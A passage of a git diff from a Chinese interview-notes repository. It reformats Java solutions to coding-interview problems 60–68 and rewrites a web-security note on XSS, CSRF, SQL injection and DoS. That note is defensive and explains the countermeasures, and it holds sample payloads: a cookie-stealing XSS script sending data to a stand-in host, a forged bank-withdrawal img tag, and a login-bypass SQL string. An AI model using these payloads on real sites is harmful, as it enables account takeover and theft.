+        for (int j = i; j <= pointNum; j++)     /* 使用 i 个骰子最小点数为 i */
+            for (int k = 1; k <= face && k <= j; k++)
+                dp[i][j] += dp[i - 1][j - k];
 
-    final double totalNum = Math.pow(6, n);
-    List<Map.Entry<Integer, Double>> ret = new ArrayList<>();
-    for (int i = n; i <= pointNum; i++)
-        ret.add(new AbstractMap.SimpleEntry<>(i, dp[n][i] / totalNum));
+    final double totalNum = Math.pow(6, n);
+    List<Map.Entry<Integer, Double>> ret = new ArrayList<>();
+    for (int i = n; i <= pointNum; i++)
+        ret.add(new AbstractMap.SimpleEntry<>(i, dp[n][i] / totalNum));
 
-    return ret;
+    return ret;
 }
 ```
 
-### 动态规划解法 + 旋转数组
+### 动态规划解法 + 旋转数组
 
 空间复杂度：O(N)
 
 ```java
-public List<Map.Entry<Integer, Double>> dicesSum(int n) {
-    final int face = 6;
-    final int pointNum = face * n;
-    long[][] dp = new long[2][pointNum + 1];
+public List<Map.Entry<Integer, Double>> dicesSum(int n) {
+    final int face = 6;
+    final int pointNum = face * n;
+    long[][] dp = new long[2][pointNum + 1];
 
-    for (int i = 1; i <= face; i++)
-        dp[0][i] = 1;
+    for (int i = 1; i <= face; i++)
+        dp[0][i] = 1;
 
-    int flag = 1;                                     /* 旋转标记 */
-    for (int i = 2; i <= n; i++, flag = 1 - flag) {
-        for (int j = 0; j <= pointNum; j++)
-            dp[flag][j] = 0;                          /* 旋转数组清零 */
+    int flag = 1;                                     /* 旋转标记 */
+    for (int i = 2; i <= n; i++, flag = 1 - flag) {
+        for (int j = 0; j <= pointNum; j++)
+            dp[flag][j] = 0;                          /* 旋转数组清零 */
 
-        for (int j = i; j <= pointNum; j++)
-            for (int k = 1; k <= face && k <= j; k++)
-                dp[flag][j] += dp[1 - flag][j - k];
-    }
+        for (int j = i; j <= pointNum; j++)
+            for (int k = 1; k <= face && k <= j; k++)
+                dp[flag][j] += dp[1 - flag][j - k];
+    }
 
-    final double totalNum = Math.pow(6, n);
-    List<Map.Entry<Integer, Double>> ret = new ArrayList<>();
-    for (int i = n; i <= pointNum; i++)
-        ret.add(new AbstractMap.SimpleEntry<>(i, dp[1 - flag][i] / totalNum));
+    final double totalNum = Math.pow(6, n);
+    List<Map.Entry<Integer, Double>> ret = new ArrayList<>();
+    for (int i = n; i <= pointNum; i++)
+        ret.add(new AbstractMap.SimpleEntry<>(i, dp[1 - flag][i] / totalNum));
 
-    return ret;
+    return ret;
 }
 ```
 
-# 61. 扑克牌顺子
+# 61. 扑克牌顺子
 
 [NowCoder](https://www.nowcoder.com/practice/762836f4d43d43ca9deb273b3de8e1f4?tpId=13&tqId=11198&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
-五张牌，其中大小鬼为癞子，牌面大小为 0。判断这五张牌是否能组成顺子。
+五张牌，其中大小鬼为癞子，牌面大小为 0。判断这五张牌是否能组成顺子。
 
-## 解题思路
+## 解题思路
 
 ```java
-public boolean isContinuous(int[] nums) {
+public boolean isContinuous(int[] nums) {
 
-    if (nums.length < 5)
-        return false;
+    if (nums.length < 5)
+        return false;
 
-    Arrays.sort(nums);
+    Arrays.sort(nums);
 
-    // 统计癞子数量
-    int cnt = 0;
-    for (int num : nums)
-        if (num == 0)
-            cnt++;
+    // 统计癞子数量
+    int cnt = 0;
+    for (int num : nums)
+        if (num == 0)
+            cnt++;
 
-    // 使用癞子去补全不连续的顺子
-    for (int i = cnt; i < nums.length - 1; i++) {
-        if (nums[i + 1] == nums[i])
-            return false;
-        cnt -= nums[i + 1] - nums[i] - 1;
-    }
+    // 使用癞子去补全不连续的顺子
+    for (int i = cnt; i < nums.length - 1; i++) {
+        if (nums[i + 1] == nums[i])
+            return false;
+        cnt -= nums[i + 1] - nums[i] - 1;
+    }
 
-    return cnt >= 0;
+    return cnt >= 0;
 }
 ```
 
-# 62. 圆圈中最后剩下的数
+# 62. 圆圈中最后剩下的数
 
 [NowCoder](https://www.nowcoder.com/practice/f78a359491e64a50bce2d89cff857eb6?tpId=13&tqId=11199&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
-让小朋友们围成一个大圈。然后，随机指定一个数 m，让编号为 0 的小朋友开始报数。每次喊到 m-1 的那个小朋友要出列唱首歌，然后可以在礼品箱中任意的挑选礼物，并且不再回到圈中，从他的下一个小朋友开始，继续 0...m-1 报数 .... 这样下去 .... 直到剩下最后一个小朋友，可以不用表演。
+让小朋友们围成一个大圈。然后，随机指定一个数 m，让编号为 0 的小朋友开始报数。每次喊到 m-1 的那个小朋友要出列唱首歌，然后可以在礼品箱中任意的挑选礼物，并且不再回到圈中，从他的下一个小朋友开始，继续 0...m-1 报数 .... 这样下去 .... 直到剩下最后一个小朋友，可以不用表演。
 
-## 解题思路
+## 解题思路
 
-约瑟夫环，圆圈长度为 n 的解可以看成长度为 n-1 的解再加上报数的长度 m。因为是圆圈，所以最后需要对 n 取余。
+约瑟夫环，圆圈长度为 n 的解可以看成长度为 n-1 的解再加上报数的长度 m。因为是圆圈，所以最后需要对 n 取余。
 
 ```java
-public int LastRemaining_Solution(int n, int m) {
-    if (n == 0)     /* 特殊输入的处理 */
-        return -1;
-    if (n == 1)     /* 递归返回条件 */
-        return 0;
-    return (LastRemaining_Solution(n - 1, m) + m) % n;
+public int LastRemaining_Solution(int n, int m) {
+    if (n == 0)     /* 特殊输入的处理 */
+        return -1;
+    if (n == 1)     /* 递归返回条件 */
+        return 0;
+    return (LastRemaining_Solution(n - 1, m) + m) % n;
 }
 ```
 
-# 63. 股票的最大利润
+# 63. 股票的最大利润
 
 [Leetcode](https://leetcode.com/problems/best-time-to-buy-and-sell-stock/description/)
 
-## 题目描述
+## 题目描述
 
 可以有一次买入和一次卖出，那么买入必须在前。求最大收益。
 
-## 解题思路
+## 解题思路
 
-使用贪心策略，假设第 i 轮进行卖出操作，买入操作价格应该在 i 之前并且价格最低。
+使用贪心策略，假设第 i 轮进行卖出操作，买入操作价格应该在 i 之前并且价格最低。
 
 ```java
-public int maxProfit(int[] prices) {
-    if (prices == null || prices.length == 0)
-        return 0;
-    int soFarMin = prices[0];
-    int maxProfit = 0;
-    for (int i = 1; i < prices.length; i++) {
-        soFarMin = Math.min(soFarMin, prices[i]);
-        maxProfit = Math.max(maxProfit, prices[i] - soFarMin);
-    }
-    return maxProfit;
+public int maxProfit(int[] prices) {
+    if (prices == null || prices.length == 0)
+        return 0;
+    int soFarMin = prices[0];
+    int maxProfit = 0;
+    for (int i = 1; i < prices.length; i++) {
+        soFarMin = Math.min(soFarMin, prices[i]);
+        maxProfit = Math.max(maxProfit, prices[i] - soFarMin);
+    }
+    return maxProfit;
 }
 ```
 
-# 64. 求 1+2+3+...+n
+# 64. 求 1+2+3+...+n
 
 [NowCoder](https://www.nowcoder.com/practice/7a0da8fc483247ff8800059e12d7caf1?tpId=13&tqId=11200&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
-要求不能使用乘除法、for、while、if、else、switch、case 等关键字及条件判断语句 A ? B : C。
+要求不能使用乘除法、for、while、if、else、switch、case 等关键字及条件判断语句 A ? B : C。
 
-## 解题思路
+## 解题思路
 
-使用递归解法最重要的是指定返回条件，但是本题无法直接使用 if 语句来指定返回条件。
+使用递归解法最重要的是指定返回条件，但是本题无法直接使用 if 语句来指定返回条件。
 
-条件与 && 具有短路原则，即在第一个条件语句为 false 的情况下不会去执行第二个条件语句。利用这一特性，将递归的返回条件取非然后作为 && 的第一个条件语句，递归的主体转换为第二个条件语句，那么当递归的返回条件为 true 的情况下就不会执行递归的主体部分，递归返回。
+条件与 && 具有短路原则，即在第一个条件语句为 false 的情况下不会去执行第二个条件语句。利用这一特性，将递归的返回条件取非然后作为 && 的第一个条件语句，递归的主体转换为第二个条件语句，那么当递归的返回条件为 true 的情况下就不会执行递归的主体部分，递归返回。
 
-本题的递归返回条件为 n <= 0，取非后就是 n > 0；递归的主体部分为 sum += Sum_Solution(n - 1)，转换为条件语句后就是 (sum += Sum_Solution(n - 1)) > 0。
+本题的递归返回条件为 n <= 0，取非后就是 n > 0；递归的主体部分为 sum += Sum_Solution(n - 1)，转换为条件语句后就是 (sum += Sum_Solution(n - 1)) > 0。
 
 ```java
-public int Sum_Solution(int n) {
-    int sum = n;
-    boolean b = (n > 0) && ((sum += Sum_Solution(n - 1)) > 0);
-    return sum;
+public int Sum_Solution(int n) {
+    int sum = n;
+    boolean b = (n > 0) && ((sum += Sum_Solution(n - 1)) > 0);
+    return sum;
 }
 ```
 
-# 65. 不用加减乘除做加法
+# 65. 不用加减乘除做加法
 
 [NowCoder](https://www.nowcoder.com/practice/59ac416b4b944300b617d4f7f111b215?tpId=13&tqId=11201&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
-写一个函数，求两个整数之和，要求不得使用 +、-、\*、/ 四则运算符号。
+写一个函数，求两个整数之和，要求不得使用 +、-、\*、/ 四则运算符号。
 
-## 解题思路
+## 解题思路
 
-a ^ b 表示没有考虑进位的情况下两数的和，(a & b) << 1 就是进位。
+a ^ b 表示没有考虑进位的情况下两数的和，(a & b) << 1 就是进位。
 
-递归会终止的原因是 (a & b) << 1 最右边会多一个 0，那么继续递归，进位最右边的 0 会慢慢增多，最后进位会变为 0，递归终止。
+递归会终止的原因是 (a & b) << 1 最右边会多一个 0，那么继续递归，进位最右边的 0 会慢慢增多，最后进位会变为 0，递归终止。
 
 ```java
-public int Add(int a, int b) {
-    return b == 0 ? a : Add(a ^ b, (a & b) << 1);
+public int Add(int a, int b) {
+    return b == 0 ? a : Add(a ^ b, (a & b) << 1);
 }
 ```
 
-# 66. 构建乘积数组
+# 66. 构建乘积数组
 
 [NowCoder](https://www.nowcoder.com/practice/94a4d381a68b47b7a8bed86f2975db46?tpId=13&tqId=11204&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
-给定一个数组 A[0, 1,..., n-1]，请构建一个数组 B[0, 1,..., n-1]，其中 B 中的元素 B[i]=A[0]\*A[1]\*...\*A[i-1]\*A[i+1]\*...\*A[n-1]。要求不能使用除法。
+给定一个数组 A[0, 1,..., n-1]，请构建一个数组 B[0, 1,..., n-1]，其中 B 中的元素 B[i]=A[0]\*A[1]\*...\*A[i-1]\*A[i+1]\*...\*A[n-1]。要求不能使用除法。
 
-## 解题思路
+## 解题思路
 
 ```java
-public int[] multiply(int[] A) {
-    int n = A.length;
-    int[] B = new int[n];
-    for (int i = 0, product = 1; i < n; product *= A[i], i++)       /* 从左往右累乘 */
-        B[i] = product;
-    for (int i = n - 1, product = 1; i >= 0; product *= A[i], i--)  /* 从右往左累乘 */
-        B[i] *= product;
-    return B;
+public int[] multiply(int[] A) {
+    int n = A.length;
+    int[] B = new int[n];
+    for (int i = 0, product = 1; i < n; product *= A[i], i++)       /* 从左往右累乘 */
+        B[i] = product;
+    for (int i = n - 1, product = 1; i >= 0; product *= A[i], i--)  /* 从右往左累乘 */
+        B[i] *= product;
+    return B;
 }
 ```
 
-# 67. 把字符串转换成整数
+# 67. 把字符串转换成整数
 
 [NowCoder](https://www.nowcoder.com/practice/1277c681251b4372bdef344468e4f26e?tpId=13&tqId=11202&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
-将一个字符串转换成一个整数，字符串不是一个合法的数值则返回 0，要求不能使用字符串转换整数的库函数。
+将一个字符串转换成一个整数，字符串不是一个合法的数值则返回 0，要求不能使用字符串转换整数的库函数。
 
 ```html
 Iuput:
@@ -2964,68 +2879,102 @@ Output:
 0
 ```
 
-## 解题思路
+## 解题思路
 
 ```java
-public int StrToInt(String str) {
-    if (str == null || str.length() == 0)
-        return 0;
-    boolean isNegative = str.charAt(0) == '-';
-    int ret = 0;
-    for (int i = 0; i < str.length(); i++) {
-        char c = str.charAt(i);
-        if (i == 0 && (c == '+' || c == '-'))  /* 符号判定 */
-            continue;
-        if (c < '0' || c > '9')                /* 非法输入 */
-            return 0;
-        ret = ret * 10 + (c - '0');
-    }
-    return isNegative ? -ret : ret;
+public int StrToInt(String str) {
+    if (str == null || str.length() == 0)
+        return 0;
+    boolean isNegative = str.charAt(0) == '-';
+    int ret = 0;
+    for (int i = 0; i < str.length(); i++) {
+        char c = str.charAt(i);
+        if (i == 0 && (c == '+' || c == '-'))  /* 符号判定 */
+            continue;
+        if (c < '0' || c > '9')                /* 非法输入 */
+            return 0;
+        ret = ret * 10 + (c - '0');
+    }
+    return isNegative ? -ret : ret;
 }
 ```
 
-# 68. 树中两个节点的最低公共祖先
+# 68. 树中两个节点的最低公共祖先
 
-## 解题思路
+## 解题思路
 
-### 二叉查找树
+### 二叉查找树
 
-<div align="center"> <img src="pics/293d2af9-de1d-403e-bed0-85d029383528.png" width="300"/> </div><br>
+<img src="index_files/293d2af9-de1d-403e-bed0-85d029383528.png" width="300"/>
 
-[Leetcode : 235. Lowest Common Ancestor of a Binary Search Tree](https://leetcode.com/problems/lowest-common-ancestor-of-a-binary-search-tree/description/)
+[Leetcode : 235. Lowest Common Ancestor of a Binary Search Tree](https://leetcode.com/problems/lowest-common-ancestor-of-a-binary-search-tree/description/)
 
-二叉查找树中，两个节点 p, q 的公共祖先 root 满足 root.val >= p.val && root.val <= q.val。
+二叉查找树中，两个节点 p, q 的公共祖先 root 满足 root.val >= p.val && root.val <= q.val。
 
 ```java
-public TreeNode lowestCommonAncestor(TreeNode root, TreeNode p, TreeNode q) {
-    if (root == null)
-        return root;
-    if (root.val > p.val && root.val > q.val)
-        return lowestCommonAncestor(root.left, p, q);
-    if (root.val < p.val && root.val < q.val)
-        return lowestCommonAncestor(root.right, p, q);
-    return root;
+public TreeNode lowestCommonAncestor(TreeNode root, TreeNode p, TreeNode q) {
+    if (root == null)
+        return root;
+    if (root.val > p.val && root.val > q.val)
+        return lowestCommonAncestor(root.left, p, q);
+    if (root.val < p.val && root.val < q.val)
+        return lowestCommonAncestor(root.right, p, q);
+    return root;
 }
 ```
 
-### 普通二叉树
+### 普通二叉树
 
-<div align="center"> <img src="pics/37a72755-4890-4b42-9eab-b0084e0c54d9.png" width="300"/> </div><br>
+<img src="index_files/37a72755-4890-4b42-9eab-b0084e0c54d9.png" width="300"/>
 
-[Leetcode : 236. Lowest Common Ancestor of a Binary Tree](https://leetcode.com/problems/lowest-common-ancestor-of-a-binary-tree/description/)
+[Leetcode : 236. Lowest Common Ancestor of a Binary Tree](https://leetcode.com/problems/lowest-common-ancestor-of-a-binary-tree/description/)
 
-在左右子树中查找是否存在 p 或者 q，如果 p 和 q 分别在两个子树中，那么就说明根节点就是最低公共祖先。
+在左右子树中查找是否存在 p 或者 q，如果 p 和 q 分别在两个子树中，那么就说明根节点就是最低公共祖先。
 
 ```java
-public TreeNode lowestCommonAncestor(TreeNode root, TreeNode p, TreeNode q) {
-    if (root == null || root == p || root == q)
-        return root;
-    TreeNode left = lowestCommonAncestor(root.left, p, q);
-    TreeNode right = lowestCommonAncestor(root.right, p, q);
-    return left == null ? right : right == null ? left : root;
+public TreeNode lowestCommonAncestor(TreeNode root, TreeNode p, TreeNode q) {
+    if (root == null || root == p || root == q)
+        return root;
+    TreeNode left = lowestCommonAncestor(root.left, p, q);
+    TreeNode right = lowestCommonAncestor(root.right, p, q);
+    return left == null ? right : right == null ? left : root;
 }
 ```
 
-# 参考文献
+# 参考文献
 
-- 何海涛. 剑指 Offer[M]. 电子工业出版社, 2012.
+- 何海涛. 剑指 Offer[M]. 电子工业出版社, 2012.
+---bottom---CyC---
+![](index_files/gh_a68199af85d6_258_20_282_29.jpg)
+![](index_files/_u6570_u7EC4_u4E2D_u91CD_u590D_1548260392361.gif)
+![](index_files/f94389e9-55b1-4f49-9d37-00ed05900ae0.png)
+![](index_files/d99dc9e2-197c-4085-813d-7195da1c6762.png)
+![](index_files/8a4c6ad4-a816-47d1-b93f-7ca4f78ab67a.png)
+![](index_files/cb0ed469-27ab-471b-a830-648b279103c8.png)
+![](index_files/e143f6da-d114-4ba4-8712-f65299047fa2.png)
+![](index_files/5acf7550-86c5-4c5b-b912-8ce70ef9c34e.png)
+![](index_files/faecea49-9974-40db-9821-c8636137df61.jpg)
+![](index_files/e31abb94-9201-4e06-9902-61101b92f475.png)
+![](index_files/27ff9548-edb6-4465-92c8-7e6386e0b185.png)
+![](index_files/280f7728-594f-4811-a03a-fa8d32c013da.png)
+![](index_files/8433fbb2-c35c-45ef-831d-e3ca42aebd51.png)
+![](index_files/ea2304ce-268b-4238-9486-4d8f8aea8ca4.png)
+![](index_files/d5d3b7ae-2712-412e-98f1-633ce6ec5955.png)
+![](index_files/43f2cafa-3568-4a89-a895-4725666b94a6.png)
+![](index_files/4583e24f-424b-4d50-8a14-2c38a1827d4a.png)
+![](index_files/a2d13178-f1ef-4811-a240-1fe95b55b1eb.png)
+![](index_files/f42443e0-208d-41ea-be44-c7fd97d2e3bf.png)
+![](index_files/6539b9a4-2b24-4d10-8c94-2eb5aba1e296.png)
+![](index_files/348bc2db-582e-4aca-9f88-38c40e9a0e69.png)
+![](index_files/836a4eaf-4798-4e48-b52a-a3dab9435ace.png)
+![](index_files/f5477abd-c246-4851-89ab-6b1cde2549b1.png)
+![](index_files/a01d1516-8168-461a-a24b-620b9cfc40f4.png)
+![](index_files/2e6c72f5-3b8e-4e32-b87b-9491322628fe.png)
+![](index_files/323ffd6c-8b54-4f3e-b361-555a6c8bf218.png)
+![](index_files/8f3b9519-d705-48fe-87ad-2e4052fc81d2.png)
+![](index_files/79b12431-6d9d-4a7d-985b-1b79bc5bf5fb.png)
+![](index_files/8f6f9dc9-9ecd-47c8-b50e-2814f0219056.png)
+![](index_files/b29f8971-9cb8-480d-b986-0e60c2ece069.png)
+![](index_files/e026c24d-00fa-4e7c-97a8-95a98cdc383a.png)
+![](index_files/293d2af9-de1d-403e-bed0-85d029383528.png)
+![](index_files/37a72755-4890-4b42-9eab-b0084e0c54d9.png)
diff --git a/docs/notes/攻击技术.md b/docs/notes/攻击技术.md
index 2fa52c0f..1c6e2ae3 100644
--- a/docs/notes/攻击技术.md
+++ b/docs/notes/攻击技术.md
@@ -1,102 +1,92 @@
-[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
-<!-- GFM-TOC -->
-* [一、跨站脚本攻击](#一跨站脚本攻击)
-* [二、跨站请求伪造](#二跨站请求伪造)
-* [三、SQL 注入攻击](#三sql-注入攻击)
-* [四、拒绝服务攻击](#四拒绝服务攻击)
-* [参考资料](#参考资料)
-<!-- GFM-TOC -->
+# 一、跨站脚本攻击
 
+## 概念
 
-# 一、跨站脚本攻击
+跨站脚本攻击（Cross-Site Scripting, XSS），可以将代码注入到用户浏览的网页上，这种代码包括 HTML 和 JavaScript。
 
-## 概念
-
-跨站脚本攻击（Cross-Site Scripting, XSS），可以将代码注入到用户浏览的网页上，这种代码包括 HTML 和 JavaScript。
-
-## 攻击原理
+## 攻击原理
 
 例如有一个论坛网站，攻击者可以在上面发布以下内容：
 
 ```html
-<script>location.href="//domain.com/?c=" + document.cookie</script>
+<script>location.href="//domain.com/?c=" + document.cookie</script>
 ```
 
 之后该内容可能会被渲染成以下形式：
 
 ```html
-<p><script>location.href="//domain.com/?c=" + document.cookie</script></p>
+<p><script>location.href="//domain.com/?c=" + document.cookie</script></p>
 ```
 
-另一个用户浏览了含有这个内容的页面将会跳转到 domain.com 并携带了当前作用域的 Cookie。如果这个论坛网站通过 Cookie 管理用户登录状态，那么攻击者就可以通过这个 Cookie 登录被攻击者的账号了。
+另一个用户浏览了含有这个内容的页面将会跳转到 domain.com 并携带了当前作用域的 Cookie。如果这个论坛网站通过 Cookie 管理用户登录状态，那么攻击者就可以通过这个 Cookie 登录被攻击者的账号了。
 
-## 危害
+## 危害
 
-- 窃取用户的 Cookie
-- 伪造虚假的输入表单骗取个人信息
-- 显示伪造的文章或者图片
+- 窃取用户的 Cookie
+- 伪造虚假的输入表单骗取个人信息
+- 显示伪造的文章或者图片
 
-## 防范手段
+## 防范手段
 
-### 1. 设置 Cookie 为 HttpOnly
+### 1. 设置 Cookie 为 HttpOnly
 
-设置了 HttpOnly 的 Cookie 可以防止 JavaScript 脚本调用，就无法通过 document.cookie 获取用户 Cookie 信息。
+设置了 HttpOnly 的 Cookie 可以防止 JavaScript 脚本调用，就无法通过 document.cookie 获取用户 Cookie 信息。
 
-### 2. 过滤特殊字符
+### 2. 过滤特殊字符
 
-例如将 `<` 转义为 `&lt;`，将 `>` 转义为 `&gt;`，从而避免 HTML 和 Jascript 代码的运行。
+例如将 `<` 转义为 `&lt;`，将 `>` 转义为 `&gt;`，从而避免 HTML 和 Jascript 代码的运行。
 
-富文本编辑器允许用户输入 HTML 代码，就不能简单地将 `<` 等字符进行过滤了，极大地提高了 XSS 攻击的可能性。
+富文本编辑器允许用户输入 HTML 代码，就不能简单地将 `<` 等字符进行过滤了，极大地提高了 XSS 攻击的可能性。
 
-富文本编辑器通常采用 XSS filter 来防范 XSS 攻击，通过定义一些标签白名单或者黑名单，从而不允许有攻击性的 HTML 代码的输入。
+富文本编辑器通常采用 XSS filter 来防范 XSS 攻击，通过定义一些标签白名单或者黑名单，从而不允许有攻击性的 HTML 代码的输入。
 
-以下例子中，form 和 script 等标签都被转义，而 h 和 p 等标签将会保留。
+以下例子中，form 和 script 等标签都被转义，而 h 和 p 等标签将会保留。
 
 ```html
-<h1 id="title">XSS Demo</h1>
+<h1 id="title">XSS Demo</h1>
 
 <p>123</p>
 
 <form>
-  <input type="text" name="q" value="test">
+  <input type="text" name="q" value="test">
 </form>
 
 <pre>hello</pre>
 
-<script type="text/javascript">
+<script type="text/javascript">
 alert(/xss/);
 </script>
 ```
 
 ```html
-<h1>XSS Demo</h1>
+<h1>XSS Demo</h1>
 
 <p>123</p>
 
 &lt;form&gt;
-  &lt;input type="text" name="q" value="test"&gt;
+  &lt;input type="text" name="q" value="test"&gt;
 &lt;/form&gt;
 
 <pre>hello</pre>
 
-&lt;script type="text/javascript"&gt;
+&lt;script type="text/javascript"&gt;
 alert(/xss/);
 &lt;/script&gt;
 ```
 
-> [XSS 过滤在线测试](http://jsxss.com/zh/try.html)
+> [XSS 过滤在线测试](http://jsxss.com/zh/try.html)
 
-# 二、跨站请求伪造
+# 二、跨站请求伪造
 
-## 概念
+## 概念
 
-跨站请求伪造（Cross-site request forgery，CSRF），是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作（如发邮件，发消息，甚至财产操作如转账和购买商品）。由于浏览器曾经认证过，所以被访问的网站会认为是真正的用户操作而去执行。
+跨站请求伪造（Cross-site request forgery，CSRF），是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作（如发邮件，发消息，甚至财产操作如转账和购买商品）。由于浏览器曾经认证过，所以被访问的网站会认为是真正的用户操作而去执行。
 
-XSS 利用的是用户对指定网站的信任，CSRF 利用的是网站对用户浏览器的信任。
+XSS 利用的是用户对指定网站的信任，CSRF 利用的是网站对用户浏览器的信任。
 
-## 攻击原理
+## 攻击原理
 
-假如一家银行用以执行转账操作的 URL 地址如下：
+假如一家银行用以执行转账操作的 URL 地址如下：
 
 ```
 http://www.examplebank.com/withdraw?account=AccoutName&amount=1000&for=PayeeName。
@@ -105,90 +95,90 @@ http://www.examplebank.com/withdraw?account=AccoutName&amount=1000&for=PayeeName
 那么，一个恶意攻击者可以在另一个网站上放置如下代码：
 
 ```
-<img src="http://www.examplebank.com/withdraw?account=Alice&amount=1000&for=Badman">。
+<img src="http://www.examplebank.com/withdraw?account=Alice&amount=1000&for=Badman">。
 ```
 
-如果有账户名为 Alice 的用户访问了恶意站点，而她之前刚访问过银行不久，登录信息尚未过期，那么她就会损失 1000 美元。
+如果有账户名为 Alice 的用户访问了恶意站点，而她之前刚访问过银行不久，登录信息尚未过期，那么她就会损失 1000 美元。
 
 这种恶意的网址可以有很多种形式，藏身于网页中的许多地方。此外，攻击者也不需要控制放置恶意网址的网站。例如他可以将这种地址藏在论坛，博客等任何用户生成内容的网站中。这意味着如果服务器端没有合适的防御措施的话，用户即使访问熟悉的可信网站也有受攻击的危险。
 
-通过例子能够看出，攻击者并不能通过 CSRF 攻击来直接获取用户的账户控制权，也不能直接窃取用户的任何信息。他们能做到的，是欺骗用户浏览器，让其以用户的名义执行操作。
+通过例子能够看出，攻击者并不能通过 CSRF 攻击来直接获取用户的账户控制权，也不能直接窃取用户的任何信息。他们能做到的，是欺骗用户浏览器，让其以用户的名义执行操作。
 
-## 防范手段
+## 防范手段
 
-### 1. 检查 Referer 首部字段
+### 1. 检查 Referer 首部字段
 
-Referer 首部字段位于 HTTP 报文中，用于标识请求来源的地址。检查这个首部字段并要求请求来源的地址在同一个域名下，可以极大的防止 CSRF 攻击。
+Referer 首部字段位于 HTTP 报文中，用于标识请求来源的地址。检查这个首部字段并要求请求来源的地址在同一个域名下，可以极大的防止 CSRF 攻击。
 
-这种办法简单易行，工作量低，仅需要在关键访问处增加一步校验。但这种办法也有其局限性，因其完全依赖浏览器发送正确的 Referer 字段。虽然 HTTP 协议对此字段的内容有明确的规定，但并无法保证来访的浏览器的具体实现，亦无法保证浏览器没有安全漏洞影响到此字段。并且也存在攻击者攻击某些浏览器，篡改其 Referer 字段的可能。
+这种办法简单易行，工作量低，仅需要在关键访问处增加一步校验。但这种办法也有其局限性，因其完全依赖浏览器发送正确的 Referer 字段。虽然 HTTP 协议对此字段的内容有明确的规定，但并无法保证来访的浏览器的具体实现，亦无法保证浏览器没有安全漏洞影响到此字段。并且也存在攻击者攻击某些浏览器，篡改其 Referer 字段的可能。
 
-### 2. 添加校验 Token
+### 2. 添加校验 Token
 
-在访问敏感数据请求时，要求用户浏览器提供不保存在 Cookie 中，并且攻击者无法伪造的数据作为校验。例如服务器生成随机数并附加在表单中，并要求客户端传回这个随机数。
+在访问敏感数据请求时，要求用户浏览器提供不保存在 Cookie 中，并且攻击者无法伪造的数据作为校验。例如服务器生成随机数并附加在表单中，并要求客户端传回这个随机数。
 
-### 3. 输入验证码
+### 3. 输入验证码
 
-因为 CSRF 攻击是在用户无意识的情况下发生的，所以要求用户输入验证码可以让用户知道自己正在做的操作。
+因为 CSRF 攻击是在用户无意识的情况下发生的，所以要求用户输入验证码可以让用户知道自己正在做的操作。
 
-# 三、SQL 注入攻击
+# 三、SQL 注入攻击
 
-## 概念
+## 概念
 
-服务器上的数据库运行非法的 SQL 语句，主要通过拼接来完成。
+服务器上的数据库运行非法的 SQL 语句，主要通过拼接来完成。
 
-## 攻击原理
+## 攻击原理
 
-例如一个网站登录验证的 SQL 查询代码为：
+例如一个网站登录验证的 SQL 查询代码为：
 
 ```sql
-strSQL = "SELECT * FROM users WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"
+strSQL = "SELECT * FROM users WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"
 ```
 
 如果填入以下内容：
 
 ```sql
-userName = "1' OR '1'='1";
-passWord = "1' OR '1'='1";
+userName = "1' OR '1'='1";
+passWord = "1' OR '1'='1";
 ```
 
-那么 SQL 查询字符串为：
+那么 SQL 查询字符串为：
 
 ```sql
-strSQL = "SELECT * FROM users WHERE (name = '1' OR '1'='1') and (pw = '1' OR '1'='1');"
+strSQL = "SELECT * FROM users WHERE (name = '1' OR '1'='1') and (pw = '1' OR '1'='1');"
 ```
 
 此时无需验证通过就能执行以下查询：
 
 ```sql
-strSQL = "SELECT * FROM users;"
+strSQL = "SELECT * FROM users;"
 ```
 
-## 防范手段
+## 防范手段
 
-### 1. 使用参数化查询
+### 1. 使用参数化查询
 
-Java 中的 PreparedStatement 是预先编译的 SQL 语句，可以传入适当参数并且多次执行。由于没有拼接的过程，因此可以防止 SQL 注入的发生。
+Java 中的 PreparedStatement 是预先编译的 SQL 语句，可以传入适当参数并且多次执行。由于没有拼接的过程，因此可以防止 SQL 注入的发生。
 
 ```java
-PreparedStatement stmt = connection.prepareStatement("SELECT * FROM users WHERE userid=? AND password=?");
-stmt.setString(1, userid);
-stmt.setString(2, password);
-ResultSet rs = stmt.executeQuery();
+PreparedStatement stmt = connection.prepareStatement("SELECT * FROM users WHERE userid=? AND password=?");
+stmt.setString(1, userid);
+stmt.setString(2, password);
+ResultSet rs = stmt.executeQuery();
 ```
 
-### 2. 单引号转换
+### 2. 单引号转换
 
-将传入的参数中的单引号转换为连续两个单引号，PHP 中的 Magic quote 可以完成这个功能。
+将传入的参数中的单引号转换为连续两个单引号，PHP 中的 Magic quote 可以完成这个功能。
 
-# 四、拒绝服务攻击
+# 四、拒绝服务攻击
 
-拒绝服务攻击（denial-of-service attack，DoS），亦称洪水攻击，其目的在于使目标电脑的网络或系统资源耗尽，使服务暂时中断或停止，导致其正常用户无法访问。
+拒绝服务攻击（denial-of-service attack，DoS），亦称洪水攻击，其目的在于使目标电脑的网络或系统资源耗尽，使服务暂时中断或停止，导致其正常用户无法访问。
 
-分布式拒绝服务攻击（distributed denial-of-service attack，DDoS），指攻击者使用两个或以上被攻陷的电脑作为“僵尸”向特定的目标发动“拒绝服务”式攻击。
+分布式拒绝服务攻击（distributed denial-of-service attack，DDoS），指攻击者使用两个或以上被攻陷的电脑作为“僵尸”向特定的目标发动“拒绝服务”式攻击。
 
-# 参考资料
+# 参考资料
 
